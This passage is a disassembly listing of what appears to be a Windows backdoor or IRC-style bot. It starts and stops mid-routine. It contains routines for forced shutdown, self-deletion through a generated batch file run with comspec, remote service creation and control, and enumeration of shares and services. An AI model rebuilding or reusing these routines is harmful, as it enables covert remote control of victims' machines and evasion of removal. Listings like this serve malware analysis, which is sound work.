dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch push ebx push esi xor esi, esi push edi lea eax, [ebp+var_11C] push esi push eax push 104h push esi push offset aExplorer_exe ; "explorer.exe" push esi call dword_4CB030 test eax, eax jz short loc_418332 mov edi, 80h push esi push edi push 3 push esi mov esi, dword_4270EC push 1 lea eax, [ebp+var_11C] push 80000000h push eax call esi mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_418332 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push ebx call near ptr 27D0000h nop push ebx mov ebx, dword_427068 call ebx push 0 push edi push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call esi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_418332 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push esi nop call near ptr 27C06E7h push esi call ebx loc_418332: ; CODE XREF: sub_418293+2Aj ; sub_418293+51j ... pop edi pop esi pop ebx leave retn sub_418293 endp ; =============== S U B R O U T I N E ======================================= sub_418337 proc near ; CODE XREF: sub_401ACD+16B1p push 1 push offset aSeshutdownpriv ; "SeShutdownPrivilege" call sub_419651 pop ecx pop ecx push 50005h push 6 call dword_4CAEB4 neg eax sbb eax, eax neg eax retn sub_418337 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418359 proc near ; CODE XREF: sub_401ACD+2754p ; ___:0041686Bp var_764 = byte ptr -764h var_364 = byte ptr -364h var_260 = byte ptr -260h var_15C = byte ptr -15Ch var_58 = dword ptr -58h var_4C = dword ptr -4Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_14 = byte ptr -14h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 764h push esi xor esi, esi cmp dword_429090, esi push edi jz short loc_41837D cmp dword_4CB044, esi jnz short loc_41837D push esi call sub_401000 pop ecx loc_41837D: ; CODE XREF: sub_418359+13j ; sub_418359+1Bj call sub_40B2BF lea eax, [ebp+var_764] push eax push 400h nop call near ptr 2680000h lea eax, [ebp+var_764] push eax lea eax, [ebp+var_260] push offset aSdel_bat ; "%sdel.bat" push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_260] push esi push esi push 2 push esi push esi push 40000000h push eax call near ptr 26E08DCh nop mov edi, eax cmp edi, esi jbe loc_4184DD lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"... push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_764] push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_764] push eax push edi call near ptr 26D0000h nop push edi nop call near ptr 26408DCh push 10h lea eax, [ebp+var_14] push esi push eax call sub_41B590 push 44h lea eax, [ebp+var_58] pop edi push edi push esi push eax call sub_41B590 add esp, 18h mov [ebp+var_58], edi mov edi, 104h lea eax, [ebp+var_15C] push edi push eax push esi mov [ebp+var_4C], offset dword_43D128 mov [ebp+var_2C], 1 mov [ebp+var_28], si nop call near ptr 2660DE9h push eax nop call near ptr 2650000h lea eax, [ebp+var_15C] push eax nop call near ptr 2660CE7h cmp eax, 0FFFFFFFFh jz short loc_418485 lea eax, [ebp+var_15C] push 80h push eax nop call near ptr 2660C04h loc_418485: ; CODE XREF: sub_418359+118j lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset aComspecCSS ; "%%comspec%% /c %s %s" push eax call sub_41B886 add esp, 10h lea eax, [ebp+var_364] push edi push eax lea eax, [ebp+var_764] push eax nop call near ptr 27E0000h lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push 4008h push 1 push esi lea eax, [ebp+var_364] push esi push eax push esi nop call near ptr 2640BBCh loc_4184DD: ; CODE XREF: sub_418359+72j pop edi pop esi leave retn sub_418359 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4184E1 proc near ; CODE XREF: sub_401ACD+7232p var_294 = byte ptr -294h var_94 = dword ptr -94h var_84 = dword ptr -84h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 294h push edi xor edi, edi push 94h lea eax, [ebp+var_94] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax nop call near ptr 26B05AAh cmp [ebp+var_84], 2 jnz short loc_418577 push [ebp+arg_10] push [ebp+arg_C] call dword_4CAEF4 push edi push eax call dword_4CAF04 test eax, eax jz short loc_418569 push [ebp+arg_10] push offset dword_43898C loc_418542: ; CODE XREF: sub_4184E1+94j lea eax, [ebp+var_294] push eax call sub_41B886 push edi lea eax, [ebp+var_294] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 20h jmp short loc_4185A1 ; --------------------------------------------------------------------------- loc_418569: ; CODE XREF: sub_4184E1+57j nop call near ptr 2660882h push eax push offset unk_438964 jmp short loc_418542 ; --------------------------------------------------------------------------- loc_418577: ; CODE XREF: sub_4184E1+3Fj lea eax, [ebp+var_294] push offset unk_438934 push eax call sub_41B886 push edi lea eax, [ebp+var_294] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 1Ch loc_4185A1: ; CODE XREF: sub_4184E1+86j pop edi leave retn sub_4184E1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4185A4 proc near ; CODE XREF: sub_401ACD+55FEp var_1C0 = byte ptr -1C0h var_15C = byte ptr -15Ch var_F8 = byte ptr -0F8h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C0h lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax nop call near ptr 26B05AAh cmp [ebp+var_90], 4 jnz short loc_4185FA cmp [ebp+var_8C], 0 jnz short loc_4185E3 push 1 pop eax cmp [ebp+var_84], eax jnz short loc_4185FA leave retn ; --------------------------------------------------------------------------- loc_4185E3: ; CODE XREF: sub_4185A4+30j cmp [ebp+var_8C], 0Ah jz short loc_4185F5 cmp [ebp+var_8C], 5Ah jnz short loc_4185FA loc_4185F5: ; CODE XREF: sub_4185A4+46j push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_4185FA: ; CODE XREF: sub_4185A4+27j ; sub_4185A4+3Bj ... push esi push edi push offset aNetapi32_dll ; "netapi32.dll" nop call near ptr 2680C1Dh mov esi, eax push offset aNetmessagebuff ; "NetMessageBufferSend" push esi nop call near ptr 2690000h push 32h mov edi, eax push [ebp+arg_0] lea eax, [ebp+var_1C0] push eax call sub_41D834 push 32h lea eax, [ebp+var_15C] push [ebp+arg_4] push eax call sub_41D834 push 32h lea eax, [ebp+var_F8] push [ebp+arg_8] push eax call sub_41D834 lea eax, [ebp+var_F8] push eax call sub_41D817 shl eax, 1 push eax lea eax, [ebp+var_F8] push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_1C0] push eax push 0 call edi add esp, 3Ch mov edi, eax push esi call near ptr 2760761h nop mov eax, edi pop edi pop esi leave retn sub_4185A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418684 proc near ; CODE XREF: sub_40111D+F7p ; ___:0040E6E2p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi nop call near ptr 2670678h push eax call sub_41B8D8 pop ecx call sub_41B8E2 mov esi, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] fild [ebp+var_4] sub eax, esi mov [ebp+arg_4], eax fimul [ebp+arg_4] fmul dbl_427700 call sub_41C798 sub esi, eax mov eax, esi pop esi leave retn sub_418684 endp ; =============== S U B R O U T I N E ======================================= sub_4186C1 proc near ; CODE XREF: sub_401ACD:loc_406126p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_418719 lea esi, [eax+eax*2] push 0 shl esi, 2 push 0 push dword_4389B0[esi] push edi push eax call sub_41873B add esp, 14h test eax, eax jnz short loc_418709 push edi push off_4389AC[esi] push offset unk_438AC0 loc_4186F9: ; CODE XREF: sub_4186C1+56j mov esi, offset dword_4DAFF0 push esi call sub_41B886 add esp, 10h jmp short loc_418736 ; --------------------------------------------------------------------------- loc_418709: ; CODE XREF: sub_4186C1+2Aj push eax call sub_4187DD pop ecx push eax push edi push offset unk_438A94 jmp short loc_4186F9 ; --------------------------------------------------------------------------- loc_418719: ; CODE XREF: sub_4186C1+Cj lea eax, [eax+eax*2] mov esi, offset dword_4DAFF0 push off_4389A8[eax*4] push offset unk_438A70 push esi call sub_41B886 add esp, 0Ch loc_418736: ; CODE XREF: sub_4186C1+46j mov eax, esi pop edi pop esi retn sub_4186C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41873B proc near ; CODE XREF: sub_4186C1+20p var_1C = byte ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 1Ch push ebx push edi xor ebx, ebx push 0F003Fh push ebx push ebx call dword_4CAF68 mov edi, eax cmp edi, ebx jnz short loc_418762 nop call near ptr 2660882h mov ebx, eax jmp short loc_4187D7 ; --------------------------------------------------------------------------- loc_418762: ; CODE XREF: sub_41873B+1Bj push esi push 0F01FFh push [ebp+arg_4] push edi call dword_4CAE50 mov esi, eax cmp esi, ebx jnz short loc_418782 call near ptr 2660882h nop mov ebx, eax jmp short loc_4187CF ; --------------------------------------------------------------------------- loc_418782: ; CODE XREF: sub_41873B+3Bj mov eax, [ebp+arg_0] cmp eax, 1 jz short loc_4187B5 cmp eax, 3 jz short loc_4187A6 jle short loc_4187C8 cmp eax, 6 jg short loc_4187C8 lea eax, [ebp+var_1C] push eax push [ebp+arg_8] push esi call dword_4CAEBC jmp short loc_4187BC ; --------------------------------------------------------------------------- loc_4187A6: ; CODE XREF: sub_41873B+52j push [ebp+arg_10] push [ebp+arg_C] push esi call dword_4CAE58 jmp short loc_4187BC ; --------------------------------------------------------------------------- loc_4187B5: ; CODE XREF: sub_41873B+4Dj push esi call dword_4CAEC0 loc_4187BC: ; CODE XREF: sub_41873B+69j ; sub_41873B+78j test eax, eax jnz short loc_4187C8 nop call near ptr 2660882h mov ebx, eax loc_4187C8: ; CODE XREF: sub_41873B+54j ; sub_41873B+59j ... push esi call dword_4CAE6C loc_4187CF: ; CODE XREF: sub_41873B+45j push edi call dword_4CAE6C pop esi loc_4187D7: ; CODE XREF: sub_41873B+25j mov eax, ebx pop edi pop ebx leave retn sub_41873B endp ; =============== S U B R O U T I N E ======================================= sub_4187DD proc near ; CODE XREF: sub_4186C1+49p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 420h cmp eax, ecx ja loc_418892 jz loc_41888B add ecx, 0FFFFFFFBh cmp eax, ecx ja short loc_418855 jz short loc_41884B mov ecx, eax sub ecx, 3 jz short loc_418841 dec ecx dec ecx jz short loc_418837 dec ecx jz short loc_41882D sub ecx, 51h jz short loc_418823 sub ecx, 24h jnz loc_418908 ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 push offset aTheSpecifiedSe ; "The specified service name is invalid." jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418823: ; CODE XREF: sub_4187DD+31j push offset aTheRequestedCo ; "The requested control code is undefined"... jmp loc_4188FA ; --------------------------------------------------------------------------- loc_41882D: ; CODE XREF: sub_4187DD+2Cj push offset aTheHandleIsInv ; "The handle is invalid." jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418837: ; CODE XREF: sub_4187DD+29j push offset aTheHandleDoesN ; "The handle does not have the required a"... jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418841: ; CODE XREF: sub_4187DD+25j push offset aTheServiceBina ; "The service binary file could not be fo"... jmp loc_4188FA ; --------------------------------------------------------------------------- loc_41884B: ; CODE XREF: sub_4187DD+1Ej push offset aTheServiceCann ; "The service cannot be stopped because o"... jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418855: ; CODE XREF: sub_4187DD+1Cj mov ecx, eax sub ecx, 41Ch jz short loc_418884 dec ecx jz short loc_41887D dec ecx jz short loc_418876 dec ecx jnz loc_418908 ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 push offset aTheDatabaseIsL ; "The database is locked." jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418876: ; CODE XREF: sub_4187DD+86j push offset aAThreadCouldNo ; "A thread could not be created for the s"... jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_41887D: ; CODE XREF: sub_4187DD+83j push offset aTheProcessForT ; "The process for the service was started"... jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_418884: ; CODE XREF: sub_4187DD+80j push offset aTheRequested_0 ; "The requested control code is not valid"... jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_41888B: ; CODE XREF: sub_4187DD+11j push offset aAnInstanceOfTh ; "An instance of the service is already r"... jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_418892: ; CODE XREF: sub_4187DD+Bj mov ecx, 45Bh cmp eax, ecx ja short loc_418908 ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 jz short loc_4188F5 lea ecx, [eax-422h] cmp ecx, 11h ; switch 18 cases ja short loc_418908 ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 movzx ecx, byte_418949[ecx] jmp off_418921[ecx*4] ; switch jump loc_4188B6: ; DATA XREF: ___:off_418921o push offset aTheSpecifiedDa ; jumptable 004188AF case 7 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188BD: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceDepe ; jumptable 004188AF case 17 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188C4: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceDe_0 ; jumptable 004188AF case 10 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188CB: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceHasB ; jumptable 004188AF case 0 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188D2: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheSpecified_0 ; jumptable 004188AF case 2 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188D9: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceCoul ; jumptable 004188AF case 11 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188E0: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceHa_0 ; jumptable 004188AF case 14 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188E7: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheRequested_1 ; jumptable 004188AF case 3 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188EE: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceHasN ; jumptable 004188AF case 4 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188F5: ; CODE XREF: sub_4187DD+BEj push offset aTheSystemIsShu ; "The system is shutting down." loc_4188FA: ; CODE XREF: sub_4187DD+41j ; sub_4187DD+4Bj ... push offset dword_4DA930 call sub_41B886 pop ecx pop ecx jmp short loc_41891B ; --------------------------------------------------------------------------- loc_418908: ; CODE XREF: sub_4187DD+36j ; sub_4187DD+89j ... push eax ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 push offset aAnUnknownError ; "An unknown error occurred: <%ld>" push offset dword_4DA930 call sub_41B886 add esp, 0Ch loc_41891B: ; CODE XREF: sub_4187DD+129j mov eax, offset dword_4DA930 retn sub_4187DD endp ; --------------------------------------------------------------------------- off_418921 dd offset loc_4188CB ; DATA XREF: sub_4187DD+D2r dd offset loc_4188D2 ; jump table for switch statement dd offset loc_4188E7 dd offset loc_4188EE dd offset loc_4188B6 dd offset loc_4188C4 dd offset loc_4188D9 dd offset loc_4188E0 dd offset loc_4188BD dd offset loc_418908 byte_418949 db 0, 9, 1, 2 ; DATA XREF: sub_4187DD+CBr db 3, 9, 9, 4 ; indirect table for switch statement db 9, 9, 5, 6 db 9, 9, 7, 9 db 9, 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41895B proc near ; CODE XREF: sub_401ACD+45D3p var_38C = byte ptr -38Ch var_18C = byte ptr -18Ch var_188 = byte ptr -188h var_24 = byte ptr -24h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 38Ch push ebx push esi push edi xor ebx, ebx push 0F003Fh push ebx push ebx mov [ebp+var_8], ebx call dword_4CAF68 push ebx mov [ebp+var_C], eax push [ebp+arg_8] push offset aTheFollowingWi ; "The following Windows services are regi"... push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_418993: ; CODE XREF: sub_41895B+120j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18C] push 168h push eax push 3 push 30h push [ebp+var_C] call dword_4CAF34 test eax, eax jnz short loc_4189CD nop call near ptr 2660882h cmp eax, 0EAh jnz loc_418A81 loc_4189CD: ; CODE XREF: sub_41895B+5Fj xor edi, edi cmp [ebp+var_4], ebx jle loc_418A78 lea esi, [ebp+var_188] loc_4189DE: ; CODE XREF: sub_41895B+117j mov eax, [esi+8] dec eax jz short loc_418A27 dec eax jz short loc_418A20 dec eax jz short loc_418A19 dec eax jz short loc_418A12 dec eax jz short loc_418A0B dec eax jz short loc_418A04 dec eax jz short loc_4189FD push offset aUnknown_0 ; " Unknown" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_4189FD: ; CODE XREF: sub_41895B+99j push offset aPaused_0 ; " Paused" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A04: ; CODE XREF: sub_41895B+96j push offset aPausing ; " Pausing" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A0B: ; CODE XREF: sub_41895B+93j push offset aContinuing ; " Continuing" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A12: ; CODE XREF: sub_41895B+90j push offset aRunning ; " Running" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A19: ; CODE XREF: sub_41895B+8Dj push offset aStoping ; " Stoping" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A20: ; CODE XREF: sub_41895B+8Aj push offset aStarting ; " Starting" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A27: ; CODE XREF: sub_41895B+87j push offset aStopped ; " Stopped" loc_418A2C: ; CODE XREF: sub_41895B+A0j ; sub_41895B+A7j ... lea eax, [ebp+var_20] push eax call sub_41B886 pop ecx lea eax, [ebp+var_20] pop ecx push dword ptr [esi] push dword ptr [esi-4] push eax lea eax, [ebp+var_38C] push offset aSSS ; "%s: %s (%s)" push eax call sub_41B886 push 1 lea eax, [ebp+var_38C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 28h inc edi add esi, 24h cmp edi, [ebp+var_4] jl loc_4189DE loc_418A78: ; CODE XREF: sub_41895B+77j cmp [ebp+var_8], ebx jnz loc_418993 loc_418A81: ; CODE XREF: sub_41895B+6Cj push [ebp+var_C] call dword_4CAE6C xor eax, eax pop edi cmp eax, [ebp+var_4] pop esi pop ebx sbb eax, eax neg eax leave retn sub_41895B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418A98 proc near ; CODE XREF: sub_401ACD:loc_406166p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] test edi, edi jz loc_418B32 mov esi, [ebp+arg_0] mov eax, esi sub eax, 0 jz short loc_418AC1 dec eax jnz short loc_418B12 push edi push 0 call sub_418C6B pop ecx pop ecx jmp short loc_418B0E ; --------------------------------------------------------------------------- loc_418AC1: ; CODE XREF: sub_418A98+18j cmp [ebp+arg_8], 0 jnz short loc_418B00 push 24h push edi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz short loc_418B00 push 57h pop eax loc_418AD8: ; CODE XREF: sub_418A98+78j push eax call sub_41945F pop ecx push eax lea eax, [esi+esi*2] push edi mov esi, offset dword_4DABEC push off_4389A8[eax*4] push offset unk_439054 push esi call sub_41B886 add esp, 14h jmp short loc_418B52 ; --------------------------------------------------------------------------- loc_418B00: ; CODE XREF: sub_418A98+2Dj ; sub_418A98+3Bj push [ebp+arg_8] push edi push 0 call sub_418BBF add esp, 0Ch loc_418B0E: ; CODE XREF: sub_418A98+27j test eax, eax jnz short loc_418AD8 loc_418B12: ; CODE XREF: sub_418A98+1Bj lea eax, [esi+esi*2] push edi mov esi, offset dword_4DABEC push off_4389AC[eax*4] push offset dword_439038 push esi call sub_41B886 add esp, 10h jmp short loc_418B52 ; --------------------------------------------------------------------------- loc_418B32: ; CODE XREF: sub_418A98+Aj mov eax, [ebp+arg_0] mov esi, offset dword_4DABEC lea eax, [eax+eax*2] push off_4389A8[eax*4] push offset unk_439014 push esi call sub_41B886 add esp, 0Ch loc_418B52: ; CODE XREF: sub_418A98+66j ; sub_418A98+98j mov eax, esi pop edi pop esi pop ebp retn sub_418A98 endp ; =============== S U B R O U T I N E ======================================= sub_418B58 proc near ; CODE XREF: sub_419E79+245p arg_0 = dword ptr 4 arg_C = dword ptr 10h push esi xor esi, esi cmp [esp+4+arg_0], esi jnz short loc_418B65 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_418B65: ; CODE XREF: sub_418B58+7j push ebx push ebp push edi push esi push esi push esi mov edi, dword_42717C push esi push 0FFFFFFFFh mov ebx, 400h push [esp+24h+arg_0] push ebx push esi call edi test byte_4DADEC, 1 mov ebp, eax jnz short loc_418BA2 or byte_4DADEC, 1 lea eax, [ebp+1] push eax call sub_41CFC5 pop ecx mov dword_4DAB8C, eax loc_418BA2: ; CODE XREF: sub_418B58+32j push esi push esi push ebp push dword_4DAB8C push 0FFFFFFFFh push [esp+18h+arg_C] push ebx push esi call edi mov eax, dword_4DAB8C pop edi pop ebp pop ebx pop esi retn sub_418B58 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418BBF proc near ; CODE XREF: sub_418A98+6Ep ; sub_41A19D+18Ap ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push edi push [ebp+arg_0] call sub_418C2A push [ebp+arg_4] mov edi, eax call sub_418C2A push 24h mov [ebp+var_20], eax push [ebp+arg_4] call sub_41BFB0 push [ebp+arg_8] mov [ebp+var_14], 7Fh neg eax sbb eax, eax and [ebp+var_18], 0 or [ebp+var_10], 0FFFFFFFFh and [ebp+var_C], 0 and eax, 80000000h mov [ebp+var_1C], eax call sub_418C2A add esp, 14h mov [ebp+var_8], eax and [ebp+var_4], 0 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_20] push eax push 2 push edi call dword_4CAE68 pop edi leave retn sub_418BBF endp ; =============== S U B R O U T I N E ======================================= sub_418C2A proc near ; CODE XREF: sub_418BBF+Ap ; sub_418BBF+14p ... arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] xor eax, eax cmp ebp, eax jnz short loc_418C37 pop ebp retn ; --------------------------------------------------------------------------- loc_418C37: ; CODE XREF: sub_418C2A+9j push ebx push esi mov esi, dword_427180 push edi push eax push eax push 0FFFFFFFFh push ebp push 1 push eax call esi mov edi, eax lea eax, [edi+edi+2] push eax call sub_41CFC5 pop ecx mov ebx, eax push edi push ebx push 0FFFFFFFFh push ebp push 1 push 0 call esi pop edi mov eax, ebx pop esi pop ebx pop ebp retn sub_418C2A endp ; =============== S U B R O U T I N E ======================================= sub_418C6B proc near ; CODE XREF: sub_418A98+20p ; sub_419E79+1BBp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_418C2A push [esp+8+arg_4] mov esi, eax call sub_418C2A pop ecx pop ecx push 0 push eax push esi call dword_4CAE40 pop esi retn sub_418C6B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418C8E proc near ; CODE XREF: sub_401ACD+46B0p var_210 = byte ptr -210h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push ebx push esi push edi push [ebp+arg_C] call sub_418C2A xor esi, esi mov [ebp+var_C], eax push esi mov [ebp+arg_C], esi push [ebp+arg_8] mov [ebp+var_8], esi mov [ebp+var_10], esi push offset aShareNameResou ; "Share name: Resource: "... push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 18h loc_418CC7: ; CODE XREF: sub_418C8E+10Fj lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 1F6h push [ebp+var_C] call dword_4CAEB8 mov ebx, eax cmp ebx, esi jz short loc_418D2A cmp ebx, 0EAh jz short loc_418D2A push ebx push ebx call sub_41945F pop ecx push eax lea eax, [ebp+var_210] push offset unk_4390A0 push eax call sub_41B886 push esi lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 24h jmp short loc_418D97 ; --------------------------------------------------------------------------- loc_418D2A: ; CODE XREF: sub_418C8E+5Dj ; sub_418C8E+65j push 1 pop edi cmp [ebp+arg_C], edi jb short loc_418D8E mov eax, [ebp+var_4] lea esi, [eax+14h] loc_418D38: ; CODE XREF: sub_418C8E+FCj push dword ptr [esi+10h] call dword_4CAE5C test eax, eax mov eax, offset aYes ; "Yes" jnz short loc_418D4F mov eax, offset aNo ; "No" loc_418D4F: ; CODE XREF: sub_418C8E+BAj push eax lea eax, [ebp+var_210] push dword ptr [esi] push dword ptr [esi+4] push dword ptr [esi-14h] push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s" push eax call sub_41B886 push 1 lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 2Ch add esi, 28h inc edi cmp edi, [ebp+arg_C] jbe short loc_418D38 xor esi, esi loc_418D8E: ; CODE XREF: sub_418C8E+A2j push [ebp+var_4] call dword_4CB004 loc_418D97: ; CODE XREF: sub_418C8E+9Aj cmp ebx, 0EAh jz loc_418CC7 xor eax, eax cmp ebx, esi pop edi pop esi setz al pop ebx leave retn sub_418C8E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418DAF proc near ; CODE XREF: sub_401ACD:loc_4061EEp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi cmp ebx, edi jz loc_418E54 mov esi, [ebp+arg_0] mov eax, esi sub eax, edi jz short loc_418DF1 dec eax jz short loc_418DE6 dec eax jnz short loc_418E0C push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push ebx push edi call sub_418EF6 add esp, 14h jmp short loc_418E08 ; --------------------------------------------------------------------------- loc_418DE6: ; CODE XREF: sub_418DAF+1Dj push ebx push edi call sub_418ED5 pop ecx pop ecx jmp short loc_418E08 ; --------------------------------------------------------------------------- loc_418DF1: ; CODE XREF: sub_418DAF+1Aj cmp [ebp+arg_8], edi jz short loc_418E05 push [ebp+arg_8] push ebx push edi call sub_418E7B add esp, 0Ch jmp short loc_418E08 ; --------------------------------------------------------------------------- loc_418E05: ; CODE XREF: sub_418DAF+45j push 57h pop eax loc_418E08: ; CODE XREF: sub_418DAF+35j ; sub_418DAF+40j ... cmp eax, edi jnz short loc_418E2C loc_418E0C: ; CODE XREF: sub_418DAF+20j lea eax, [esi+esi*2] push ebx mov esi, offset dword_4DADF0 push off_4389AC[eax*4] push offset unk_439158 push esi call sub_41B886 add esp, 10h jmp short loc_418E74 ; --------------------------------------------------------------------------- loc_418E2C: ; CODE XREF: sub_418DAF+5Bj push eax call sub_41945F pop ecx push eax lea eax, [esi+esi*2] push ebx mov esi, offset dword_4DADF0 push off_4389A8[eax*4] push offset unk_439128 push esi call sub_41B886 add esp, 14h jmp short loc_418E74 ; --------------------------------------------------------------------------- loc_418E54: ; CODE XREF: sub_418DAF+Dj mov eax, [ebp+arg_0] mov esi, offset dword_4DADF0 lea eax, [eax+eax*2] push off_4389A8[eax*4] push offset unk_439100 push esi call sub_41B886 add esp, 0Ch loc_418E74: ; 